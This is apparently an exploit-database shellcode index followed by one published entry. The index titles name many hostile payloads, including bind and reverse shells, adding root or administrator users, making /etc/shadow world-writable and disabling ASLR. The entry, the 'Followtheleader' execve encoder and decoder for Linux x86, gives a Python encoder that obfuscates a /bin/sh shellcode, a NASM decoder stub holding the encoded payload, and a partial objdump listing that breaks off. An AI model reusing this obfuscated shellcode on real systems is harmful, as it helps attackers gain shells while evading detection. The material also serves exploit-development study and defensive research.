Linux - Bind 6778/TCP (XOR Encoded) Polymorphic Shellcode (125 bytes)
Linux - Bind Shell (nc -lp 31337 -e /bin//sh) Polymorphic Shellcode (91 bytes)
ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Polymorphic Shellcode (Generator)
Linux - setreuid(0_0) + execve(_/bin/sh__NULL_NULL) XOR Encoded Shellcode (62 bytes)
Safari 4.0.5 < 5.0.0 (Windows XP/7) - JavaScript JITed exec calc (ASLR/DEP Bypass) Null-Free Shellcode
Linux - Bind TCP Shell (6778/TCP) XOR Encoded Polymorphic Shellcode (125 bytes)
Linux - Bind Netcat Shell (31337/TCP) Polymorphic Shellcode (91 bytes)
ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Polymorphic Shellcode (Generator)

Win32 - Write-to-file Shellcode (278 bytes)
Windows x86 - Write-to-file Null-Free Shellcode (278 bytes)
Linux/x86 - Bind Shell Netcat 8080/TCP Shellcode (75 bytes)
Linux/x86 - /bin/sh Polymorphic Null-Free Shellcode (46 bytes)
Windows XP SP3 English - MessageBoxA Shellcode (87 bytes)
BSD/x86 - Bind Shell 2525/TCP Shellcode (167 bytes)
Win32 - Checksum Routine Shellcode (18 bytes)
Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (8080/TCP) Shellcode (75 bytes)
Linux/x86 - execve /bin/sh Polymorphic Null-Free Shellcode (46 bytes)
Windows XP SP3 (English) - MessageBoxA Shellcode (87 bytes)
BSD/x86 - Bind TCP Shell (2525/TCP) Shellcode (167 bytes)
Windows x86 - Checksum Routine Shellcode (18 bytes)

Win32/XP SP3 (TR) - Add Administrator 'zrl' Shellcode (127 bytes)
Windows XP SP3 x86 (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes)
Win32/XP Professional SP3 (EN) x86 - Add New Local Administrator 'secuid0' Shellcode (113 bytes)
Win32 - Add New Local Administrator 'secuid0' Shellcode (326 bytes)
Windows XP Professional SP3 (English) x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes)
Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes)
ARM - Bind Connect (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode
ARM - Loader Port 0x1337 Shellcode
ARM - ifconfig eth0 and Assign Address 192.168.0.2 Shellcode
ARM - Bind (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode
ARM - Loader (0x1337/TCP) Shellcode
ARM - ifconfig eth0 192.168.0.2 up Shellcode
ARM - Create a New User with UID 0 Shellcode (Metasploit) (Generator) (66+ bytes)
Win32 - Speaking 'You got pwned!' Shellcode
FreeBSD/x86 - connect back Shellcode (81 bytes)
BSD/x86 - Bind Shell 31337/TCP + fork Shellcode (111 bytes)
Win32 - eggsearch Shellcode (33 bytes)
Linux/SuperH (sh4) - setuid(0) + chmod(_/etc/shadow__ 0666) + exit(0) Shellcode (43 bytes)
Linux/x86 - Bind Shell Netcat 6666/TCP Shellcode (69 bytes)
OSX/Intel (x86-64) - Reverse TCP Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes)
Windows - WinExec Add New Local Administrator 'RubberDuck' + ExitProcess Shellcode (279 bytes)
Linux/x86 - ASLR deactivation Shellcode (83 bytes)
Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit)
Linux/x86 - Reverse  TCP SSL Shell (localhost:8080) Shellcode (422 bytes)
ARM - Add Root User Shellcode (Metasploit) (66+ bytes) (Generator)
Windows 5.0 < 7.0 x86 - Speaking _You got pwned!_ Null-Free Shellcode
FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:1337/TCP) Shellcode (81 bytes) (Generator)
BSD/x86 - Bind TCP Shell (31337/TCP) + fork Shellcode (111 bytes)
Windows x86 - eggsearch Shellcode (33 bytes)
Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes)
Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69 bytes)
OSX/Intel (x86-64) - Reverse TCP /bin/sh Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes)
Windows - Add Local Administrator User (RubberDuck/mudbath) + ExitProcess WinExec Shellcode (279 bytes)
Linux/x86 - Disable ASLR Security Shellcode (83 bytes)
Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit)
Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes)
Win32/PerfectXp-pc1/SP3 (TR) - Add Administrator 'kpss' Shellcode (112 bytes)
Linux/x86 - Egghunter Shellcode (29 bytes)
Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes)
Linux/x86 - Egghunter Null-Free Shellcode (29 bytes)
Linux/MIPS - XOR Encoder Shellcode (Generator) (60 bytes)
Linux/SuperH (sh4) - setuid(0) ; execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes)
Linux/MIPS - XOR Encoder Shellcode (60 bytes) (Generator)
Linux/SuperH (sh4) - setuid(0); + execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes)

Linux/MIPS - Add User(UID 0) (rOOt/'pwn3d) Shellcode (164 bytes)
Linux/MIPS - Add Root User (rOOt/pwn3d) Shellcode (164 bytes)

Linux/MIPS - Connectback Shellcode (port 0x7a69) (168 bytes)
Linux/MIPS - Reverse TCP Shell (0x7a69/TCP) Shellcode (168 bytes)

Linux/x86 - setuid(0) + setgid(0) + Add User (iph) To /etc/passwd Polymorphic Shellcode
Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd Polymorphic Shellcode

Linux/x86-64 - Add User (t0r/Winner) Shellcode (189 bytes)
Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes)

Linux/ARM (Raspberry Pi) - Reverse TCP Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes)
Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes)

Linux/ARM (Raspberry Pi) - chmod(_/etc/shadow__ 0777) Shellcode (41 bytes)
Linux/ARM (Raspberry Pi) - chmod 0777 /etc/shadow Shellcode (41 bytes)
Windows XP Professional SP3 - Full ROP calc Shellcode (428 bytes)
Windows x64 - Bind TCP Shell Shellcode (508 bytes)
Windows XP Professional SP3 - calc Full ROP Shellcode (428 bytes)
Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes)

Cisco ASA - Authentication Bypass 'EXTRABACON' (Improved Shellcode) (69 bytes)
Cisco ASA - Authentication Bypass _EXTRABACON_ (Improved Shellcode) (69 bytes)

Windows RT ARM - Bind Shell 4444/TCP Shellcode
Windows RT ARM - Bind TCP Shell (4444/TCP) Shellcode
Windows - Messagebox Shellcode (113 bytes)
Linux/MIPS (Little Endian) - Reverse TCP Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes)
Windows 7 x86 - Bind Shell 4444/TCP Shellcode (357 Bytes)
Windows - Add Administrator 'BroK3n' Shellcode (194 bytes)
Windows - Messagebox Null-FreeShellcode (113 bytes)
Linux/MIPS (Little Endian) - Reverse TCP /bin/sh Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes)
Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes)
Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes)
Linux/x86-64 - Reverse TCP Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes)
Linux/x86-64 - Reverse TCP /bin/bash Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes)
Linux/x86-64 - Bind TCP Password (Z~r0) Shell (4444/TCP) Shellcode (81/96 bytes)
Linux/x86-64 - Reverse TCP Password (Z~r0) Shell (127.0.0.1:4444/TCP) Shellcode (77-85/90-98 bytes)
Windows x86 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Windows x64 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) + Password (Z~r0) Null-Free Shellcode (81/96 bytes)
Linux/x86-64 - Reverse TCP Password (Z~r0) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free + Null-Mask Shellcode (77-85/90-98 bytes)
Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Windows XP x86-64 - Download File + Execute Shellcode (Generator)
Linux/MIPS (Little Endian) - Chmod 666 /etc/shadow Shellcode (55 bytes)
Linux/MIPS (Little Endian) - Chmod 666 /etc/passwd Shellcode (55 bytes)
Windows XP x86-64 - Download File + Execute Shellcode (Generator)
Linux/MIPS (Little Endian) - chmod 666 /etc/shadow Shellcode (55 bytes)
Linux/MIPS (Little Endian) - chmod 666 /etc/passwd Shellcode (55 bytes)
Linux/x86 - execve(_/bin/sh_) (ROT13 Encoded) Shellcode (68 bytes)
Linux/x86 - chmod 0777 /etc/shadow obfuscated Shellcode (84 bytes)
Linux/x86 - execve(_/bin/sh_) ROT13 Encoded Shellcode (68 bytes)
Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes)
Linux/x86 - Reverse TCP Shell (192.168.1.133:33333) Shellcode (72 bytes)
Linux/x86 - Bind Shell 33333/TCP Shellcode (96 bytes)
Linux/x86 - Disable ASLR Shellcode (84 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell (192.168.1.133:33333) Shellcode (72 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (33333/TCP) Shellcode (96 bytes)
Linux/x86 - Disable ASLR Security Shellcode (84 bytes)
Linux/x86 - Typewriter Shellcode (Generator)
Linux/x86 - Create 'my.txt' Working Directory Shellcode (37 bytes)
Linux/x86 - Typewriter Shellcode (Generator)
Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes)
Win32/XP SP3 - Create ('file.txt') Shellcode (83 bytes)
Win32/XP SP3 - Restart computer Shellcode (57 bytes)
Linux/x86 - custom execve Shellcode (Encoder/Decoder) (Generator)
Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes)
Windows XP SP3 x86 - Restart Computer Shellcode (57 bytes)
Linux/x86 - Custom execve Shellcode (Encoder/Decoder) (Generator)

Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp 17771 Shellcode (58 bytes)
Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (17771/TCP) Shellcode (58 bytes)
Linux/x86 - chmod() 777 /etc/shadow + exit() Shellcode (33 bytes)
Linux/x86 - execve /bin/sh Shellcode (2) (21 bytes)
Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes)
Linux/x86 - execve /bin/sh Shellcode (21 bytes)
Linux/x86 - Bind Shell Netcat 5555/TCP Shellcode (60 bytes)
Linux/x86-64 - execve(/bin/sh) Shellcode (30 bytes)
Linux/x86 - Bind Netcat Shell (5555/TCP) Shellcode (60 bytes)
Linux/x86-64 - execve(/bin/sh) Null-Free Shellcode (30 bytes)
Linux/x86 - chmod('/etc/passwd'_0777) Shellcode (42 bytes)
Linux/x86 - chmod('/etc/gshadow') Shellcode (37 bytes)
Linux/x86 - chmod('/etc/shadow'_'0777') Shellcode (42 bytes)
Linux/x86 - exec('/bin/dash') Shellcode (45 bytes)
Linux/x86 - chmod 0777 /etc/passwd Shellcode (42 bytes)
Linux/x86 - chmod /etc/gshadow Shellcode (37 bytes)
Linux/x86 - chmod 0777 /etc/shadow Shellcode (42 bytes)
Linux/x86 - exec(_/bin/dash_) Shellcode (45 bytes)
Linux/x86 - /bin/sh (ROT7 Encoded) Shellcode
Win32/XP SP3 (TR) - MessageBox Shellcode (24 bytes)
Linux/x86 - execve /bin/sh ROT7 Encoded Shellcode
Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes)
Windows x86 - user32!MessageBox 'Hello World!' Null-Free Shellcode (199 bytes)
Linux/x86 - /bin/sh (ROL/ROR Encoded) Shellcode
Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes)
Linux/x86 - execve /bin/sh ROL/ROR Encoded Shellcode
OSX/x86-64 - /bin/sh Null-Free Shellcode (34 bytes)
Mainframe/System Z - Bind Shell 12345/TCP Shellcode (2488 bytes)
OSX/x86-64 - execve /bin/sh Null-Free Shellcode (34 bytes)
Mainframe/System Z - Bind TCP Shell (12345/TCP) Null-Free Shellcode (2488 bytes)

Linux/x86 - Create file with permission 7775 + exit Shellcode (Generator)
Linux/x86 - Create File With Permission 7775 + exit Shellcode (Generator)
OSX/x86-64 - Bind 4444/TCP Null-free Shellcode (144 bytes)
Linux/x86-64 - /bin/sh Shellcode (34 bytes)
Google Android - Telnetd Port 1035 with Parameters Shellcode (248 bytes)
OSX/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (144 bytes)
Linux/x86-64 - execve /bin/sh Shellcode (34 bytes)
Google Android - Bind Telnetd Shell (1035/TCP) + Environment / Parameters Shellcode (248 bytes)

Linux/x86-64 - Bind TCP Password (1234) Shell (31173/TCP) Shellcode (92 bytes)
Linux/x86-64 - Bind TCP /bin/sh Password (1234) Shell (31173/TCP) Shellcode (92 bytes)
Windows XP < 10 - WinExec Null-Free Shellcode (Generator) (Python)
Linux/x86-64 - Bind 4444/TCP Shellcode (103 bytes)
Linux/x86-64 - Bind TCP Password (hack) Shell (4444/TCP) Shellcode (162 bytes)
Windows XP < 10 - WinExec Null-Free Shellcode (Generator)
Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (103 bytes)
Linux/x86-64 - Bind TCP /bin/sh Password (hack) Shell (4444/TCP) Null-Free Shellcode (162 bytes)

Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Shellcode (151 bytes)
Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free Shellcode (151 bytes)

Linux/x86-64 - execve (xor/not/div Encoded) Shellcode (54 bytes)
Linux/x86-64 - execve XOR/NOT/DIV Encoded Shellcode (54 bytes)

Linux x86/x86-64 - Bind 4444/TCP Shellcode (251 bytes)
Linux x86/x86-64 - Bind Shell (4444/TCP) Shellcode (251 bytes)
Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (122 bytes)
Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (135 bytes)
Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (122 bytes)
Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (135 bytes)

Linux/ARM - Connect back to 10.0.0.10:1337 with /bin/sh Shellcode (95 bytes)
Linux/ARM - Reverse TCP /bin/sh Shell (10.0.0.10:1337/TCP) Shellcode (95 bytes)

Linux/x86-64 - Bind 5600/TCP Shellcode (81 bytes)
Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (81 bytes)

Linux/x86-64 - Bind 5600/TCP Shellcode (86 bytes)
Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (86 bytes)
Linux/x86 - Reverse TCP Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes)
Linux/x86 - Bind 1472/TCP Shell (IPv6) Shellcode (1250 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (1250 bytes)
Win32 .Net Framework - Execute Native x86 Shellcode
Linux/x86-64 - Bind 1472/TCP Shell (IPv6) Shellcode (199 bytes)
Linux/x86-64 - Reverse TCP Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes)
Windows .Net Framework x86 - Execute Native x86 Shellcode
Linux/x86-64 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (199 bytes)
Linux/x86-64 - Reverse TCP /bin/sh Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes)

Linux/x86 - Bind Shell 1234/TCP (Configurable Port) Shellcode (87 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (1234/TCP) Shellcode (87 bytes) (Generator)
Linux/x86 - Bind Shell 4444/TCP Shellcode (656 bytes)
Linux/x86-64 - execve (XOR Encoded) Shellcode (84 bytes)
Linux/Windows/BSD x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes)
Linux/x86 - Bind TCP /bin/bash Shell (4444/TCP) Shellcode (656 bytes)
Linux/x86-64 - execve XOR Encoded Shellcode (84 bytes)
BSD / Linux / Windows x86/x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes)

Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes)
Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (13337/TCP) Shellcode (56 bytes)
Linux/x86 - /bin/sh + ASLR Bruteforce Shellcode
Linux/x86-64 - /etc/passwd File Sender Shellcode (164 bytes)
Linux/x86-64 - Bind Netcat Shellcode (64 bytes)
Linux/x86 - Bind Shell 4444/TCP Shellcode (98 bytes)
Linux/x86-64 - Bind Ncat (4442/TCP) Shell / SSL / Multi-Channel (4444/TCP-4447/TCP) / Persistant / Fork / IPv4/6 / Password Shellcode (176 bytes)
Linux/x86 - Reverse TCP Shell (192.168.227.129:4444) Shellcode (75 bytes)
Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Shellcode (172 bytes)
Linux/x86 - execve /bin/sh + ASLR Bruteforce Shellcode
Linux/x86-64 - Reverse TCP cat /etc/passwd (192.168.86.128:1472/TCP) Shellcode (164 bytes)
Linux/x86-64 - Bind Netcat Shell Null-Free Shellcode (64 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (98 bytes)
Linux/x86-64 - Bind Ncat Shell (4442/TCP) / SSL / Multi-Channel (4444-4447/TCP) / Persistant / Fork / IPv4/6 / Password Null-Free Shellcode (176 bytes)
Linux/x86 - Reverse TCP /bin/sj Shell (192.168.227.129:4444) Shellcode (75 bytes)
Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Null-Free Shellcode (172 bytes)
Linux/x86-64 - Bind TCP (4442/TCP) Shell / Syscall Persistent / Multi-Terminal (4444/TCP-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes)
Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes)
Linux/x86-64 - Bind TCP Shell (4442/TCP) / Syscall Persistent / Multi-Terminal (4444-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes)
Linux/CRISv32 - Axis Communication - Reverse TCP /bin/sh Shell (192.168.57.1:443/TCP) Shellcode (189 bytes)
Linux/x86 - Bind Netcat 98/TCP + UDP Shellcode (44/52 bytes)
Linux/x86 - Bind zsh 9090/TCP Shellcode (96 bytes)
Linux/x86 - Reverse TCP ZSH (127.255.255.254:9090/TCP) Shellcode (80 bytes)
Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes)
Linux/x86 - Bind TCP /bin/zsh Shell (9090/TCP) Shellcode (96 bytes)
Linux/x86 - Reverse TCP /bin/zsh Shell (127.255.255.254:9090/TCP) Shellcode (80 bytes)

Windows x64 - WinExec() Shellcode (93 bytes)
Windows x64 - cmd.exe WinExec() Shellcode (93 bytes)

Linux/x86-64 - /bin/sh -c reboot Shellcode (89 bytes)
Linux/x86-64 - execve /bin/sh -c reboot Shellcode (89 bytes)
Linux/x86 - Reverse Netcat + mkfifo  (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes)
Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes)
Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes)
Linux/x86 - execve /bin/bash -c Arbitrary Command Execution Null-Free Shellcode (72 bytes)

Linux/x86-64 - Bind 5600/TCP - Shellcode (87 bytes)
Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (87 bytes)
Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (Genearator) (129 bytes)
Linux/x86 - Reverse TCP Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes)
Linux - Bind Shell Dual/Multi Mode Shellcode (156 bytes)
Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (129 bytes) (Generator)
Linux/x86 - Reverse TCP /bin/sh Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes)
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Php Cloud mining Script - Authentication Bypass
(Bitcoin / Dogecoin) PHP Cloud Mining Script - Authentication Bypass
2017-08-23 05:01:29 +00:00

268 lines
No EOL
12 KiB
Python
Executable file
Raw Blame History

/*
Followtheleader custom execve-shellcode Encoder/Decoder - Linux Intel/x86
Author: Konstantinos Alexiou
*/
------------------------------------------------------------------------------------------------------------------
a)Python script. Encoder for shellcode (execve)
------------------------------------------------------------------------------------------------------------------
#!/usr/bin/python
# Author:Konstantinos Alexiou
# Encoding name: Followtheleader-encoder
# Description: Custom execve-shellcode encoder based on a given byte which is used to encode the execve shellcode
import random
import sys
shellcode =('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80')
total = len(sys.argv)
if total != 2:
print '!!Give the LEADER byte'
print 'Script must run as: python xxx.py LEADER'
print 'LEADER is any integer between 17-255'
print 'e.g python Followtheleader.py 32'
else:
try:
leader = int(sys.argv[1])
fb = int(hex(leader)[2:3],16) # Split the LEADER. If leader = AF -->fb=A
sb = int(hex(leader)[3:],16) # Split the LEADER. If LEADER = AF -->sb=F
encoded = ' '
encoded2 = ' '
encoded = '\\x'
encoded += hex(leader)[2:] # FIRST byte the LEADER
encoded2 = '0x'
encoded2 += hex(leader)[2:]
i=0
for x in bytearray(shellcode): # READ every Instruction as BYTE
i +=1
hopcode = '%02x' %x # KEEP only the HEX value of opcode
Dec_hopcode = int(hopcode, 16) # CALCULATE the DECIMAL value of opcode
suplX = 255 - Dec_hopcode # CALCULATE the SUPPLEMENT
rev_suplx = hex(suplX)[::-1] # REVERT the bytes of SUPPLEMENT (ae --> ea)
subfs = fb-sb
#----------------------------The Encoded byte ----------------------------------------------------
xxx = hex(int(abs(subfs)) + int(rev_suplx[0:2],16))
#-------------------------------------------------------------------------------------------------
if len(xxx)>4: # Check if xxx > 0xff
print 'Overflow encoding.Try again!!!.'
sys.exit()
elif xxx == '0x0': # Check if ZERO byte was encoded
print 'A byte was Encoded as 0x00 .Try again!!!'
sys.exit()
encoded += '\\x' # Put \x first
encoded += xxx[2:] # Put the xxx afterwards
insertByte = hex(random.randint(1,255)) # Put a Random byte
encoded += '\\x'
encoded += insertByte[2:]
i +=1
encoded2 += ','
encoded2 += xxx
encoded2 += ','
encoded2 += '0x'
encoded2 += insertByte[2:]
print ' *************';
print ' LEADER BYTE :decimal(%d), HEX(0x%x)' %(int(sys.argv[1]),leader)
print ' *************';
print 'Len of Shellcode: %02d' % i
print '------------------------------------------------------------------------';
print ' 1. Style:= %s ' % encoded
print '------------------------------------------------------------------------';
print ' 2. Style:= %s ' % encoded2
print '------------------------------------------------------------------------';
except:
print "exiting..."
---------------------------------------------------------------------------------------
Followtheleader Encoder test run :
$ python Followtheleader-encoder.py 67
*************
LEADER BYTE :decimal(67), HEX(0x43)
*************
Len of Shellcode: 50
------------------------------------------------------------------------
1. Style:= \x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\xe\xb6\xe\xbc\xc9\xe3\x7a\xaf\x7a\x78
\xe\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78
\xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe
------------------------------------------------------------------------
2. Style:= 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,
0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,
0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe
------------------------------------------------------------------------
b) Decoder for the encoded shellcode (execve-stack)
---------------------------------------------------------------------------------------
$ cat Followtheleader-decoder.nasm
; Filename: Followtheleader-decoder.nasm
; Author: Konstantinos Alexiou
; Description: Followtheleader custom insertion Encoder, Linux Intel/x86
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi ; Address of EncodedShellcode to ESI
lea edi, [esi] ; Load effective address of what is contained on EDI
xor ecx, ecx ; Zero ECX
mul ecx ; This instruction will cause both EAX and EDX to become zero
xor ebp, ebp ; Zero the value on EBP
mov dl, byte [esi] ; Put the LEADER byte to EDX (DL)
;(firstb - secondb) CALCULATION
mov al, dl ; Copy the LEADER to EAX
;firstb extraction of LEADER
shr dl, 4 ; Keep only the 4 high bits of LEADER to DL (if Leader=ac then DL=a) [firstb]
;secondb extraction of LEADER
shl eax, 28 ; shift left 28 bits of EAX which contains the value of Leader on al
shr eax, 28 ; shift right 28 of EAX (if EAX=0xc0000000 now EAX=0x0000000c) [secondb]
sub dl, al ; (firstb - secondb) value stored to EDX (DL)
jns decode_pr
negative: ; Calculate the absolute value if negative
not dl
inc dl
;decode process
decode_pr:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov al, byte [esi+1+ebp] ; Put the encoded byte to EAX
mov ecx, ebp ; EBP is used as a counter copy the value of EBP to ECX
xor cl, 0x32 ; At the end of the shellcode EBP should point 50 in decimal 32 in hex
je short EncodedShellcode
;rev_suplx Calculation
mov cl, al ; Put the Encoded byte to EAX (xxx to EAX)
sub cl, dl ; rev_suplx= xxx-(firstb - secondb) value stored to CL
mov bl, cl ; Keep Backup of rev_suplx to BL
mov al, cl ; Second backup of CL
;Revert the bytes on rev_suplx
shr bl, 4 ; shift 4 bits right (if was bl=ec now bl=e)
shl eax, 28 ; shift left 28 bits of EAX which contains the value of rev_supl on cl( if EAX was 0xec now EAX=0xc0000000)
shr eax, 24 ; shift right 24 of EAX (if EAX=0xc0000000 now EAX=0x000000c0)
add eax, ebx ; add the value on EBX to EAX (if EAX=0x000000c0 + BL=0xe, EAX=0x0000000ce)
;Supplement Calculation
mov bl, 0xff ; Value of 0xff to BL
sub bl, al ; Calculate the Supplement
mov byte [edi], bl ; Put the decoded byte to the position of EDI
inc edi ; EDI is a pointer to the position which the decoded bytes will be stored
add ebp,0x2 ; The EBP is a counter values will be (2,4,6,..50)
jmp short decode_pr ; Goto the decode process to decode the next bytes
call_shellcode:
call decoder
EncodedShellcode: db 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe
---------------------------------------------------------------------------------------------------------------------------------------
$ objdump -d ./Followtheleader-decoder -M intel
./Followtheleader-decoder: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: eb 4e jmp 80480b0 <call_shellcode>
08048062 <decoder>:
8048062: 5e pop esi
8048063: 8d 3e lea edi,[esi]
8048065: 31 c9 xor ecx,ecx
8048067: f7 e1 mul ecx
8048069: 31 ed xor ebp,ebp
804806b: 8a 16 mov dl,BYTE PTR [esi]
804806d: 88 d0 mov al,dl
804806f: c0 ea 04 shr dl,0x4
8048072: c1 e0 1c shl eax,0x1c
8048075: c1 e8 1c shr eax,0x1c
8048078: 28 c2 sub dl,al
804807a: 79 04 jns 8048080 <decode_pr>
0804807c <negative>:
804807c: f6 d2 not dl
804807e: fe c2 inc dl
08048080 <decode_pr>:
8048080: 31 c0 xor eax,eax
8048082: 31 db xor ebx,ebx
8048084: 31 c9 xor ecx,ecx
8048086: 8a 44 2e 01 mov al,BYTE PTR [esi+ebp*1+0x1]
